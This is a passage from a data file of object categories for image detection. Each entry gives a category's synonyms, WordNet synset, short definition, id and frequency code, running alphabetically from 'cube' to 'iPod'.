'frequency': 'c'}, {'synonyms': ['cube', 'square_block'], 'def': 'a block in the (approximate) shape of a cube', 'id': 247, 'synset': 'cube.n.05', 'name': 'cube', 'frequency': 'c'}, {'synonyms': ['cucumber', 'cuke'], 'def': 'cylindrical green fruit with thin green rind and white flesh eaten as a vegetable', 'id': 248, 'synset': 'cucumber.n.02', 'name': 'cucumber', 'frequency': 'f'}, {'synonyms': ['cufflink'], 'def': 'jewelry consisting of linked buttons used to fasten the cuffs of a shirt', 'id': 249, 'synset': 'cufflink.n.01', 'name': 'cufflink', 'frequency': 'c'}, {'synonyms': ['cup'], 'def': 'a small open container usually used for drinking; usually has a handle', 'id': 250, 'synset': 'cup.n.01', 'name': 'cup', 'frequency': 'f'}, {'synonyms': ['trophy_cup'], 'def': 'a metal award or cup-shaped vessel with handles that is awarded as a trophy to a competition winner', 'id': 251, 'synset': 'cup.n.08', 'name': 'trophy_cup', 'frequency': 'c'}, {'synonyms': ['cupboard', 'closet'], 'def': 'a small room (or recess) or cabinet used for storage space', 'id': 252, 'synset': 'cupboard.n.01', 'name': 'cupboard', 'frequency': 'f'}, {'synonyms': ['cupcake'], 'def': 'small cake baked in a muffin tin', 'id': 253, 'synset': 'cupcake.n.01', 'name': 'cupcake', 'frequency': 'f'}, {'synonyms': ['curtain', 'drapery'], 'def': 'hanging cloth used as a blind (especially for a window)', 'id': 254, 'synset': 'curtain.n.01', 'name': 'curtain', 'frequency': 'f'}, {'synonyms': ['cushion'], 'def': 'a soft bag filled with air or padding such as feathers or foam rubber', 'id': 255, 'synset': 'cushion.n.03', 'name': 'cushion', 'frequency': 'f'}, {'synonyms': ['dartboard'], 'def': 'a circular board of wood or cork used as the target in the game of darts', 'id': 256, 'synset': 'dartboard.n.01', 'name': 'dartboard', 'frequency': 'c'}, {'synonyms': ['deck_chair', 'beach_chair'], 'def': 'a folding chair for use outdoors; a wooden frame supports a length of canvas', 'id': 257, 'synset': 'deck_chair.n.01', 'name': 'deck_chair', 'frequency': 'f'}, {'synonyms': ['deer', 'cervid'], 'def': 'distinguished from Bovidae by the male's having solid deciduous antlers', 'id': 258, 'synset': 'deer.n.01', 'name': 'deer', 'frequency': 'c'}, {'synonyms': ['dental_floss', 'floss'], 'def': 'a soft thread for cleaning the spaces between the teeth', 'id': 259, 'synset': 'dental_floss.n.01', 'name': 'dental_floss', 'frequency': 'c'}, {'synonyms': ['desk'], 'def': 'a piece of furniture with a writing surface and usually drawers or other compartments', 'id': 260, 'synset': 'desk.n.01', 'name': 'desk', 'frequency': 'f'}, {'synonyms': ['diaper'], 'def': 'garment consisting of a folded cloth drawn up between the legs and fastened at the waist', 'id': 261, 'synset': 'diaper.n.01', 'name': 'diaper', 'frequency': 'c'}, {'synonyms': ['dining_table'], 'def': 'a table at which meals are served', 'id': 262, 'synset': 'dining_table.n.01', 'name': 'dining_table', 'frequency': 'f'}, {'synonyms': ['dish'], 'def': 'a piece of dishware normally used as a container for holding or serving food', 'id': 263, 'synset': 'dish.n.01', 'name': 'dish', 'frequency': 'f'}, {'synonyms': ['dish_antenna'], 'def': 'directional antenna consisting of a parabolic reflector', 'id': 264, 'synset': 'dish.n.05', 'name': 'dish_antenna', 'frequency': 'c'}, {'synonyms': ['dishrag', 'dishcloth'], 'def': 'a cloth for washing dishes or cleaning in general', 'id': 265, 'synset': 'dishrag.n.01', 'name': 'dishrag', 'frequency': 'c'}, {'synonyms': ['dishtowel', 'tea_towel'], 'def': 'a towel for drying dishes', 'id': 266, 'synset': 'dishtowel.n.01', 'name': 'dishtowel', 'frequency': 'f'}, {'synonyms': ['dishwasher', 'dishwashing_machine'], 'def': 'a machine for washing dishes', 'id': 267, 'synset': 'dishwasher.n.01', 'name': 'dishwasher', 'frequency': 'f'}, {'synonyms': ['dispenser'], 'def': 'a container so designed that the contents can be used in prescribed amounts', 'id': 268, 'synset': 'dispenser.n.01', 'name': 'dispenser', 'frequency': 'f'}, {'synonyms': ['Dixie_cup', 'paper_cup'], 'def': 'a disposable cup made of paper; for holding drinks', 'id': 269, 'synset': 'dixie_cup.n.01', 'name': 'Dixie_cup', 'frequency': 'f'}, {'synonyms': ['dog'], 'def': 'a common domesticated dog', 'id': 270, 'synset': 'dog.n.01', 'name': 'dog', 'frequency': 'f'}, {'synonyms': ['dog_collar'], 'def': 'a collar for a dog', 'id': 271, 'synset': 'dog_collar.n.01', 'name': 'dog_collar', 'frequency': 'f'}, {'synonyms': ['doll'], 'def': 'a toy replica of a HUMAN (NOT AN ANIMAL)', 'id': 272, 'synset': 'doll.n.01', 'name': 'doll', 'frequency': 'f'}, {'synonyms': ['dolphin'], 'def': 'any of various small toothed whales with a beaklike snout; larger than porpoises', 'id': 273, 'synset': 'dolphin.n.02', 'name': 'dolphin', 'frequency': 'c'}, {'synonyms': ['domestic_ass', 'donkey'], 'def': 'domestic beast of burden descended from the African wild ass; patient but stubborn', 'id': 274, 'synset': 'domestic_ass.n.01', 'name': 'domestic_ass', 'frequency': 'c'}, {'synonyms': ['doorknob', 'doorhandle'], 'def': 'a knob used to open a door (often called `doorhandle' in Great Britain)', 'id': 275, 'synset': 'doorknob.n.01', 'name': 'doorknob', 'frequency': 'f'}, {'synonyms': ['doormat', 'welcome_mat'], 'def': 'a mat placed outside an exterior door for wiping the shoes before entering', 'id': 276, 'synset': 'doormat.n.02', 'name': 'doormat', 'frequency': 'c'}, {'synonyms': ['doughnut', 'donut'], 'def': 'a small ring-shaped friedcake', 'id': 277, 'synset': 'doughnut.n.02', 'name': 'doughnut', 'frequency': 'f'}, {'synonyms': ['drawer'], 'def': 'a boxlike container in a piece of furniture; made so as to slide in and out', 'id': 278, 'synset': 'drawer.n.01', 'name': 'drawer', 'frequency': 'f'}, {'synonyms': ['underdrawers', 'boxers', 'boxershorts'], 'def': 'underpants worn by men', 'id': 279, 'synset': 'drawers.n.01', 'name': 'underdrawers', 'frequency': 'c'}, {'synonyms': ['dress', 'frock'], 'def': 'a one-piece garment for a woman; has skirt and bodice', 'id': 280, 'synset': 'dress.n.01', 'name': 'dress', 'frequency': 'f'}, {'synonyms': ['dress_hat', 'high_hat', 'opera_hat', 'silk_hat', 'top_hat'], 'def': 'a man's hat with a tall crown; usually covered with silk or with beaver fur', 'id': 281, 'synset': 'dress_hat.n.01', 'name': 'dress_hat', 'frequency': 'c'}, {'synonyms': ['dress_suit'], 'def': 'formalwear consisting of full evening dress for men', 'id': 282, 'synset': 'dress_suit.n.01', 'name': 'dress_suit', 'frequency': 'f'}, {'synonyms': ['dresser'], 'def': 'a cabinet with shelves', 'id': 283, 'synset': 'dresser.n.05', 'name': 'dresser', 'frequency': 'f'}, {'synonyms': ['drill'], 'def': 'a tool with a sharp rotating point for making holes in hard materials', 'id': 284, 'synset': 'drill.n.01', 'name': 'drill', 'frequency': 'c'}, {'synonyms': ['drum_(musical_instrument)'], 'def': 'a musical percussion instrument; usually consists of a hollow cylinder with a membrane stretched across each end', 'id': 285, 'synset': 'drum.n.01', 'name': 'drum_(musical_instrument)', 'frequency': 'c'}, {'synonyms': ['duck'], 'def': 'small web-footed broad-billed swimming bird', 'id': 286, 'synset': 'duck.n.01', 'name': 'duck', 'frequency': 'f'}, {'synonyms': ['duckling'], 'def': 'young duck', 'id': 287, 'synset': 'duckling.n.02', 'name': 'duckling', 'frequency': 'c'}, {'synonyms': ['duct_tape'], 'def': 'a wide silvery adhesive tape', 'id': 288, 'synset': 'duct_tape.n.01', 'name': 'duct_tape', 'frequency': 'c'}, {'synonyms': ['duffel_bag', 'duffle_bag', 'duffel', 'duffle'], 'def': 'a large cylindrical bag of heavy cloth (does not include suitcases)', 'id': 289, 'synset': 'duffel_bag.n.01', 'name': 'duffel_bag', 'frequency': 'f'}, {'synonyms': ['dumpster'], 'def': 'a container designed to receive and transport and dump waste', 'id': 290, 'synset': 'dumpster.n.01', 'name': 'dumpster', 'frequency': 'c'}, {'synonyms': ['eagle'], 'def': 'large birds of prey noted for their broad wings and strong soaring flight', 'id': 291, 'synset': 'eagle.n.01', 'name': 'eagle', 'frequency': 'c'}, {'synonyms': ['earphone', 'earpiece', 'headphone'], 'def': 'device for listening to audio that is held over or inserted into the ear', 'id': 292, 'synset': 'earphone.n.01', 'name': 'earphone', 'frequency': 'f'}, {'synonyms': ['earring'], 'def': 'jewelry to ornament the ear', 'id': 293, 'synset': 'earring.n.01', 'name': 'earring', 'frequency': 'f'}, {'synonyms': ['easel'], 'def': 'an upright tripod for displaying something (usually an artist's canvas)', 'id': 294, 'synset': 'easel.n.01', 'name': 'easel', 'frequency': 'c'}, {'synonyms': ['egg', 'eggs'], 'def': 'oval reproductive body of a fowl (especially a hen) used as food', 'id': 295, 'synset': 'egg.n.02', 'name': 'egg', 'frequency': 'f'}, {'synonyms': ['egg_yolk', 'yolk_(egg)'], 'def': 'the yellow spherical part of an egg', 'id': 296, 'synset': 'egg_yolk.n.01', 'name': 'egg_yolk', 'frequency': 'c'}, {'synonyms': ['eggbeater', 'eggwhisk'], 'def': 'a mixer for beating eggs or whipping cream', 'id': 297, 'synset': 'eggbeater.n.02', 'name': 'eggbeater', 'frequency': 'c'}, {'synonyms': ['eggplant', 'aubergine'], 'def': 'egg-shaped vegetable having a shiny skin typically dark purple', 'id': 298, 'synset': 'eggplant.n.01', 'name': 'eggplant', 'frequency': 'c'}, {'synonyms': ['refrigerator'], 'def': 'a refrigerator in which the coolant is pumped around by an electric motor', 'id': 299, 'synset': 'electric_refrigerator.n.01', 'name': 'refrigerator', 'frequency': 'f'}, {'synonyms': ['elephant'], 'def': 'a common elephant', 'id': 300, 'synset': 'elephant.n.01', 'name': 'elephant', 'frequency': 'f'}, {'synonyms': ['elk', 'moose'], 'def': 'large northern deer with enormous flattened antlers in the male', 'id': 301, 'synset': 'elk.n.01', 'name': 'elk', 'frequency': 'c'}, {'synonyms': ['envelope'], 'def': 'a flat (usually rectangular) container for a letter, thin package, etc.', 'id': 302, 'synset': 'envelope.n.01', 'name': 'envelope', 'frequency': 'c'}, {'synonyms': ['eraser'], 'def': 'an implement used to erase something', 'id': 303, 'synset': 'eraser.n.01', 'name': 'eraser', 'frequency': 'c'}, {'synonyms': ['fan'], 'def': 'a device for creating a current of air by movement of a surface or surfaces', 'id': 304, 'synset': 'fan.n.01', 'name': 'fan', 'frequency': 'f'}, {'synonyms': ['faucet', 'spigot', 'tap'], 'def': 'a regulator for controlling the flow of a liquid from a reservoir', 'id': 305, 'synset': 'faucet.n.01', 'name': 'faucet', 'frequency': 'f'}, {'synonyms': ['Ferris_wheel'], 'def': 'a large wheel with suspended seats that remain upright as the wheel rotates', 'id': 306, 'synset': 'ferris_wheel.n.01', 'name': 'Ferris_wheel', 'frequency': 'c'}, {'synonyms': ['ferry', 'ferryboat'], 'def': 'a boat that transports people or vehicles across a body of water and operates on a regular schedule', 'id': 307, 'synset': 'ferry.n.01', 'name': 'ferry', 'frequency': 'c'}, {'synonyms': ['fighter_jet', 'fighter_aircraft', 'attack_aircraft'], 'def': 'a high-speed military or naval airplane designed to destroy enemy targets', 'id': 308, 'synset': 'fighter.n.02', 'name': 'fighter_jet', 'frequency': 'c'}, {'synonyms': ['figurine'], 'def': 'a small carved or molded figure', 'id': 309, 'synset': 'figurine.n.01', 'name': 'figurine', 'frequency': 'f'}, {'synonyms': ['file_cabinet', 'filing_cabinet'], 'def': 'office furniture consisting of a container for keeping papers in order', 'id': 310, 'synset': 'file.n.03', 'name': 'file_cabinet', 'frequency': 'c'}, {'synonyms': ['fire_alarm', 'smoke_alarm'], 'def': 'an alarm that is tripped off by fire or smoke', 'id': 311, 'synset': 'fire_alarm.n.02', 'name': 'fire_alarm', 'frequency': 'f'}, {'synonyms': ['fire_engine', 'fire_truck'], 'def': 'large trucks that carry firefighters and equipment to the site of a fire', 'id': 312, 'synset': 'fire_engine.n.01', 'name': 'fire_engine', 'frequency': 'f'}, {'synonyms': ['fire_extinguisher', 'extinguisher'], 'def': 'a manually operated device for extinguishing small fires', 'id': 313, 'synset': 'fire_extinguisher.n.01', 'name': 'fire_extinguisher', 'frequency': 'f'}, {'synonyms': ['fire_hose'], 'def': 'a large hose that carries water from a fire hydrant to the site of the fire', 'id': 314, 'synset': 'fire_hose.n.01', 'name': 'fire_hose', 'frequency': 'c'}, {'synonyms': ['fireplace'], 'def': 'an open recess in a wall at the base of a chimney where a fire can be built', 'id': 315, 'synset': 'fireplace.n.01', 'name': 'fireplace', 'frequency': 'f'}, {'synonyms': ['fireplug', 'fire_hydrant', 'hydrant'], 'def': 'an upright hydrant for drawing water to use in fighting a fire', 'id': 316, 'synset': 'fireplug.n.01', 'name': 'fireplug', 'frequency': 'f'}, {'synonyms': ['fish'], 'def': 'any of various mostly cold-blooded aquatic vertebrates usually having scales and breathing through gills', 'id': 317, 'synset': 'fish.n.01', 'name': 'fish', 'frequency': 'f'}, {'synonyms': ['fish_(food)'], 'def': 'the flesh of fish used as food', 'id': 318, 'synset': 'fish.n.02', 'name': 'fish_(food)', 'frequency': 'c'}, {'synonyms': ['fishing_rod', 'fishing_pole'], 'def': 'a rod that is used in fishing to extend the fishing line', 'id': 319, 'synset': 'fishing_rod.n.01', 'name': 'fishing_rod', 'frequency': 'c'}, {'synonyms': ['flag'], 'def': 'emblem usually consisting of a rectangular piece of cloth of distinctive design (do not include pole)', 'id': 320, 'synset': 'flag.n.01', 'name': 'flag', 'frequency': 'f'}, {'synonyms': ['flagpole', 'flagstaff'], 'def': 'a tall staff or pole on which a flag is raised', 'id': 321, 'synset': 'flagpole.n.02', 'name': 'flagpole', 'frequency': 'f'}, {'synonyms': ['flamingo'], 'def': 'large pink web-footed bird with down-bent bill', 'id': 322, 'synset': 'flamingo.n.01', 'name': 'flamingo', 'frequency': 'c'}, {'synonyms': ['flannel'], 'def': 'a soft light woolen fabric; used for clothing', 'id': 323, 'synset': 'flannel.n.01', 'name': 'flannel', 'frequency': 'c'}, {'synonyms': ['flap'], 'def': 'any broad thin covering attached at one edge, such as a mud flap next to a wheel or a flap on an airplane wing', 'id': 324, 'synset': 'flap.n.01', 'name': 'flap', 'frequency': 'c'}, {'synonyms': ['flashlight', 'torch'], 'def': 'a small portable battery-powered electric lamp', 'id': 325, 'synset': 'flashlight.n.01', 'name': 'flashlight', 'frequency': 'c'}, {'synonyms': ['flip-flop_(sandal)'], 'def': 'a backless sandal held to the foot by a thong between two toes', 'id': 326, 'synset': 'flip-flop.n.02', 'name': 'flip-flop_(sandal)', 'frequency': 'f'}, {'synonyms': ['flipper_(footwear)', 'fin_(footwear)'], 'def': 'a shoe to aid a person in swimming', 'id': 327, 'synset': 'flipper.n.01', 'name': 'flipper_(footwear)', 'frequency': 'c'}, {'synonyms': ['flower_arrangement', 'floral_arrangement'], 'def': 'a decorative arrangement of flowers', 'id': 328, 'synset': 'flower_arrangement.n.01', 'name': 'flower_arrangement', 'frequency': 'f'}, {'synonyms': ['flute_glass', 'champagne_flute'], 'def': 'a tall narrow wineglass', 'id': 329, 'synset': 'flute.n.02', 'name': 'flute_glass', 'frequency': 'c'}, {'synonyms': ['foal'], 'def': 'a young horse', 'id': 330, 'synset': 'foal.n.01', 'name': 'foal', 'frequency': 'c'}, {'synonyms': ['folding_chair'], 'def': 'a chair that can be folded flat for storage', 'id': 331, 'synset': 'folding_chair.n.01', 'name': 'folding_chair', 'frequency': 'c'}, {'synonyms': ['food_processor'], 'def': 'a kitchen appliance for shredding, blending, chopping, or slicing food', 'id': 332, 'synset': 'food_processor.n.01', 'name': 'food_processor', 'frequency': 'c'}, {'synonyms': ['football_(American)'], 'def': 'the inflated oblong ball used in playing American football', 'id': 333, 'synset': 'football.n.02', 'name': 'football_(American)', 'frequency': 'c'}, {'synonyms': ['footstool', 'footrest'], 'def': 'a low seat or a stool to rest the feet of a seated person', 'id': 334, 'synset': 'footstool.n.01', 'name': 'footstool', 'frequency': 'c'}, {'synonyms': ['fork'], 'def': 'cutlery used for serving and eating food', 'id': 335, 'synset': 'fork.n.01', 'name': 'fork', 'frequency': 'f'}, {'synonyms': ['forklift'], 'def': 'an industrial vehicle with a power operated fork in front that can be inserted under loads to lift and move them', 'id': 336, 'synset': 'forklift.n.01', 'name': 'forklift', 'frequency': 'c'}, {'synonyms': ['freight_car'], 'def': 'a railway car that carries freight', 'id': 337, 'synset': 'freight_car.n.01', 'name': 'freight_car', 'frequency': 'c'}, {'synonyms': ['French_toast'], 'def': 'bread slice dipped in egg and milk and fried', 'id': 338, 'synset': 'french_toast.n.01', 'name': 'French_toast', 'frequency': 'c'}, {'synonyms': ['freshener', 'air_freshener'], 'def': 'anything that freshens air by removing or covering odor', 'id': 339, 'synset': 'freshener.n.01', 'name': 'freshener', 'frequency': 'c'}, {'synonyms': ['frisbee'], 'def': 'a light, plastic disk propelled with a flip of the wrist for recreation or competition', 'id': 340, 'synset': 'frisbee.n.01', 'name': 'frisbee', 'frequency': 'f'}, {'synonyms': ['frog', 'toad', 'toad_frog'], 'def': 'a tailless stout-bodied amphibians with long hind limbs for leaping', 'id': 341, 'synset': 'frog.n.01', 'name': 'frog', 'frequency': 'c'}, {'synonyms': ['fruit_juice'], 'def': 'drink produced by squeezing or crushing fruit', 'id': 342, 'synset': 'fruit_juice.n.01', 'name': 'fruit_juice', 'frequency': 'c'}, {'synonyms': ['frying_pan', 'frypan', 'skillet'], 'def': 'a pan used for frying foods', 'id': 343, 'synset': 'frying_pan.n.01', 'name': 'frying_pan', 'frequency': 'f'}, {'synonyms': ['garbage_truck'], 'def': 'a truck for collecting domestic refuse', 'id': 344, 'synset': 'garbage_truck.n.01', 'name': 'garbage_truck', 'frequency': 'c'}, {'synonyms': ['garden_hose'], 'def': 'a hose used for watering a lawn or garden', 'id': 345, 'synset': 'garden_hose.n.01', 'name': 'garden_hose', 'frequency': 'c'}, {'synonyms': ['gargle', 'mouthwash'], 'def': 'a medicated solution used for gargling and rinsing the mouth', 'id': 346, 'synset': 'gargle.n.01', 'name': 'gargle', 'frequency': 'c'}, {'synonyms': ['garlic', 'ail'], 'def': 'aromatic bulb used as seasoning', 'id': 347, 'synset': 'garlic.n.02', 'name': 'garlic', 'frequency': 'c'}, {'synonyms': ['gazelle'], 'def': 'small swift graceful antelope of Africa and Asia having lustrous eyes', 'id': 348, 'synset': 'gazelle.n.01', 'name': 'gazelle', 'frequency': 'c'}, {'synonyms': ['gelatin', 'jelly'], 'def': 'an edible jelly made with gelatin and used as a dessert or salad base or a coating for foods', 'id': 349, 'synset': 'gelatin.n.02', 'name': 'gelatin', 'frequency': 'c'}, {'synonyms': ['giant_panda', 'panda', 'panda_bear'], 'def': 'large black-and-white herbivorous mammal of bamboo forests of China and Tibet', 'id': 350, 'synset': 'giant_panda.n.01', 'name': 'giant_panda', 'frequency': 'c'}, {'synonyms': ['gift_wrap'], 'def': 'attractive wrapping paper suitable for wrapping gifts', 'id': 351, 'synset': 'gift_wrap.n.01', 'name': 'gift_wrap', 'frequency': 'c'}, {'synonyms': ['ginger', 'gingerroot'], 'def': 'the root of the common ginger plant; used fresh as a seasoning', 'id': 352, 'synset': 'ginger.n.03', 'name': 'ginger', 'frequency': 'c'}, {'synonyms': ['giraffe'], 'def': 'tall animal having a spotted coat and small horns and very long neck and legs', 'id': 353, 'synset': 'giraffe.n.01', 'name': 'giraffe', 'frequency': 'f'}, {'synonyms': ['cincture', 'sash', 'waistband', 'waistcloth'], 'def': 'a band of material around the waist that strengthens a skirt or trousers', 'id': 354, 'synset': 'girdle.n.02', 'name': 'cincture', 'frequency': 'c'}, {'synonyms': ['glass_(drink_container)', 'drinking_glass'], 'def': 'a container for holding liquids while drinking', 'id': 355, 'synset': 'glass.n.02', 'name': 'glass_(drink_container)', 'frequency': 'f'}, {'synonyms': ['globe'], 'def': 'a sphere on which a map (especially of the earth) is represented', 'id': 356, 'synset': 'globe.n.03', 'name': 'globe', 'frequency': 'c'}, {'synonyms': ['glove'], 'def': 'handwear covering the hand', 'id': 357, 'synset': 'glove.n.02', 'name': 'glove', 'frequency': 'f'}, {'synonyms': ['goat'], 'def': 'a common goat', 'id': 358, 'synset': 'goat.n.01', 'name': 'goat', 'frequency': 'c'}, {'synonyms': ['goggles'], 'def': 'tight-fitting spectacles worn to protect the eyes', 'id': 359, 'synset': 'goggles.n.01', 'name': 'goggles', 'frequency': 'f'}, {'synonyms': ['golf_club', 'golf-club'], 'def': 'golf equipment used by a golfer to hit a golf ball', 'id': 360, 'synset': 'golf_club.n.02', 'name': 'golf_club', 'frequency': 'c'}, {'synonyms': ['golfcart'], 'def': 'a small motor vehicle in which golfers can ride between shots', 'id': 361, 'synset': 'golfcart.n.01', 'name': 'golfcart', 'frequency': 'c'}, {'synonyms': ['goose'], 'def': 'loud, web-footed long-necked aquatic birds usually larger than ducks', 'id': 362, 'synset': 'goose.n.01', 'name': 'goose', 'frequency': 'c'}, {'synonyms': ['grape'], 'def': 'any of various juicy fruit with green or purple skins; grow in clusters', 'id': 363, 'synset': 'grape.n.01', 'name': 'grape', 'frequency': 'f'}, {'synonyms': ['grater'], 'def': 'utensil with sharp perforations for shredding foods (as vegetables or cheese)', 'id': 364, 'synset': 'grater.n.01', 'name': 'grater', 'frequency': 'c'}, {'synonyms': ['gravestone', 'headstone', 'tombstone'], 'def': 'a stone that is used to mark a grave', 'id': 365, 'synset': 'gravestone.n.01', 'name': 'gravestone', 'frequency': 'c'}, {'synonyms': ['green_bean'], 'def': 'a common bean plant cultivated for its slender green edible pods', 'id': 366, 'synset': 'green_bean.n.02', 'name': 'green_bean', 'frequency': 'f'}, {'synonyms': ['green_onion', 'spring_onion', 'scallion'], 'def': 'a young onion before the bulb has enlarged', 'id': 367, 'synset': 'green_onion.n.01', 'name': 'green_onion', 'frequency': 'f'}, {'synonyms': ['grill', 'grille', 'grillwork', 'radiator_grille'], 'def': 'a framework of metal bars used as a partition or a grate', 'id': 368, 'synset': 'grill.n.02', 'name': 'grill', 'frequency': 'f'}, {'synonyms': ['grizzly', 'grizzly_bear'], 'def': 'powerful brownish-yellow bear of the uplands of western North America', 'id': 369, 'synset': 'grizzly.n.01', 'name': 'grizzly', 'frequency': 'c'}, {'synonyms': ['grocery_bag'], 'def': 'a sack for holding customer's groceries', 'id': 370, 'synset': 'grocery_bag.n.01', 'name': 'grocery_bag', 'frequency': 'c'}, {'synonyms': ['guitar'], 'def': 'a stringed instrument usually having six strings; played by strumming or plucking', 'id': 371, 'synset': 'guitar.n.01', 'name': 'guitar', 'frequency': 'f'}, {'synonyms': ['gull', 'seagull'], 'def': 'mostly white aquatic bird having long pointed wings and short legs', 'id': 372, 'synset': 'gull.n.02', 'name': 'gull', 'frequency': 'c'}, {'synonyms': ['gun'], 'def': 'a weapon that discharges a bullet at high velocity from a metal tube', 'id': 373, 'synset': 'gun.n.01', 'name': 'gun', 'frequency': 'c'}, {'synonyms': ['hairbrush'], 'def': 'a brush used to groom a person's hair', 'id': 374, 'synset': 'hairbrush.n.01', 'name': 'hairbrush', 'frequency': 'f'}, {'synonyms': ['hairnet'], 'def': 'a small net that someone wears over their hair to keep it in place', 'id': 375, 'synset': 'hairnet.n.01', 'name': 'hairnet', 'frequency': 'c'}, {'synonyms': ['hairpin'], 'def': 'a double pronged pin used to hold women's hair in place', 'id': 376, 'synset': 'hairpin.n.01', 'name': 'hairpin', 'frequency': 'c'}, {'synonyms': ['ham', 'jambon', 'gammon'], 'def': 'meat cut from the thigh of a hog (usually smoked)', 'id': 377, 'synset': 'ham.n.01', 'name': 'ham', 'frequency': 'f'}, {'synonyms': ['hamburger', 'beefburger', 'burger'], 'def': 'a sandwich consisting of a patty of minced beef served on a bun', 'id': 378, 'synset': 'hamburger.n.01', 'name': 'hamburger', 'frequency': 'c'}, {'synonyms': ['hammer'], 'def': 'a hand tool with a heavy head and a handle; used to deliver an impulsive force by striking', 'id': 379, 'synset': 'hammer.n.02', 'name': 'hammer', 'frequency': 'c'}, {'synonyms': ['hammock'], 'def': 'a hanging bed of canvas or rope netting (usually suspended between two trees)', 'id': 380, 'synset': 'hammock.n.02', 'name': 'hammock', 'frequency': 'c'}, {'synonyms': ['hamster'], 'def': 'short-tailed burrowing rodent with large cheek pouches', 'id': 381, 'synset': 'hamster.n.01', 'name': 'hamster', 'frequency': 'c'}, {'synonyms': ['hair_dryer'], 'def': 'a hand-held electric blower that can blow warm air onto the hair', 'id': 382, 'synset': 'hand_blower.n.01', 'name': 'hair_dryer', 'frequency': 'f'}, {'synonyms': ['hand_towel', 'face_towel'], 'def': 'a small towel used to dry the hands or face', 'id': 383, 'synset': 'hand_towel.n.01', 'name': 'hand_towel', 'frequency': 'f'}, {'synonyms': ['handcart', 'pushcart', 'hand_truck'], 'def': 'wheeled vehicle that can be pushed by a person', 'id': 384, 'synset': 'handcart.n.01', 'name': 'handcart', 'frequency': 'c'}, {'synonyms': ['handkerchief'], 'def': 'a square piece of cloth used for wiping the eyes or nose or as a costume accessory', 'id': 385, 'synset': 'handkerchief.n.01', 'name': 'handkerchief', 'frequency': 'c'}, {'synonyms': ['handle', 'grip', 'handgrip'], 'def': 'the appendage to an object that is designed to be held in order to use or move it', 'id': 386, 'synset': 'handle.n.01', 'name': 'handle', 'frequency': 'f'}, {'synonyms': ['hat'], 'def': 'headwear that protects the head from bad weather, sun, or worn for fashion', 'id': 387, 'synset': 'hat.n.01', 'name': 'hat', 'frequency': 'f'}, {'synonyms': ['veil'], 'def': 'a garment that covers the head OR face', 'id': 388, 'synset': 'head_covering.n.01', 'name': 'veil', 'frequency': 'c'}, {'synonyms': ['headband'], 'def': 'a band worn around or over the head', 'id': 389, 'synset': 'headband.n.01', 'name': 'headband', 'frequency': 'f'}, {'synonyms': ['headboard'], 'def': 'a vertical board or panel forming the head of a bedstead', 'id': 390, 'synset': 'headboard.n.01', 'name': 'headboard', 'frequency': 'f'}, {'synonyms': ['headlight', 'headlamp'], 'def': 'a powerful light with reflector; attached to the front of an automobile or locomotive', 'id': 391, 'synset': 'headlight.n.01', 'name': 'headlight', 'frequency': 'f'}, {'synonyms': ['headscarf'], 'def': 'a kerchief worn over the head and tied under the chin', 'id': 392, 'synset': 'headscarf.n.01', 'name': 'headscarf', 'frequency': 'c'}, {'synonyms': ['headstall_(for_horses)', 'headpiece_(for_horses)'], 'def': 'the band that is the part of a bridle that fits around a horse's head', 'id': 393, 'synset': 'headstall.n.01', 'name': 'headstall_(for_horses)', 'frequency': 'c'}, {'synonyms': ['heart'], 'def': 'a muscular organ; its contractions move the blood through the body', 'id': 394, 'synset': 'heart.n.02', 'name': 'heart', 'frequency': 'c'}, {'synonyms': ['heater', 'warmer'], 'def': 'device that heats water or supplies warmth to a room', 'id': 395, 'synset': 'heater.n.01', 'name': 'heater', 'frequency': 'c'}, {'synonyms': ['helicopter'], 'def': 'an aircraft without wings that obtains its lift from the rotation of overhead blades', 'id': 396, 'synset': 'helicopter.n.01', 'name': 'helicopter', 'frequency': 'c'}, {'synonyms': ['helmet'], 'def': 'a protective headgear made of hard material to resist blows', 'id': 397, 'synset': 'helmet.n.02', 'name': 'helmet', 'frequency': 'f'}, {'synonyms': ['highchair', 'feeding_chair'], 'def': 'a chair for feeding a very young child', 'id': 398, 'synset': 'highchair.n.01', 'name': 'highchair', 'frequency': 'c'}, {'synonyms': ['hinge'], 'def': 'a joint that holds two parts together so that one can swing relative to the other', 'id': 399, 'synset': 'hinge.n.01', 'name': 'hinge', 'frequency': 'f'}, {'synonyms': ['hog', 'pig'], 'def': 'domestic swine', 'id': 400, 'synset': 'hog.n.03', 'name': 'hog', 'frequency': 'c'}, {'synonyms': ['home_plate_(baseball)', 'home_base_(baseball)'], 'def': '(baseball) a rubber slab where the batter stands; it must be touched by a base runner in order to score', 'id': 401, 'synset': 'home_plate.n.01', 'name': 'home_plate_(baseball)', 'frequency': 'f'}, {'synonyms': ['honey'], 'def': 'a sweet yellow liquid produced by bees', 'id': 402, 'synset': 'honey.n.01', 'name': 'honey', 'frequency': 'c'}, {'synonyms': ['fume_hood', 'exhaust_hood'], 'def': 'metal covering leading to a vent that exhausts smoke or fumes', 'id': 403, 'synset': 'hood.n.06', 'name': 'fume_hood', 'frequency': 'f'}, {'synonyms': ['hook'], 'def': 'a curved or bent implement for suspending or pulling something', 'id': 404, 'synset': 'hook.n.05', 'name': 'hook', 'frequency': 'f'}, {'synonyms': ['horse'], 'def': 'a common horse', 'id': 405, 'synset': 'horse.n.01', 'name': 'horse', 'frequency': 'f'}, {'synonyms': ['hose', 'hosepipe'], 'def': 'a flexible pipe for conveying a liquid or gas', 'id': 406, 'synset': 'hose.n.03', 'name': 'hose', 'frequency': 'f'}, {'synonyms': ['hot_sauce'], 'def': 'a pungent peppery sauce', 'id': 407, 'synset': 'hot_sauce.n.01', 'name': 'hot_sauce', 'frequency': 'c'}, {'synonyms': ['hummingbird'], 'def': 'tiny American bird having brilliant iridescent plumage and long slender bills', 'id': 408, 'synset': 'hummingbird.n.01', 'name': 'hummingbird', 'frequency': 'c'}, {'synonyms': ['polar_bear'], 'def': 'white bear of Arctic regions', 'id': 409, 'synset': 'ice_bear.n.01', 'name': 'polar_bear', 'frequency': 'f'}, {'synonyms': ['icecream'], 'def': 'frozen dessert containing cream and sugar and flavoring', 'id': 410, 'synset': 'ice_cream.n.01', 'name': 'icecream', 'frequency': 'c'}, {'synonyms': ['ice_maker'], 'def': 'an appliance included in some electric refrigerators for making ice cubes', 'id': 411, 'synset': 'ice_maker.n.01', 'name': 'ice_maker', 'frequency': 'c'}, {'synonyms': ['igniter', 'ignitor', 'lighter'], 'def': 'a substance or device used to start a fire', 'id': 412, 'synset': 'igniter.n.01', 'name': 'igniter', 'frequency': 'c'}, {'synonyms': ['iPod'], 'def': 'a pocket-sized device used to play music files', 'id': 413, 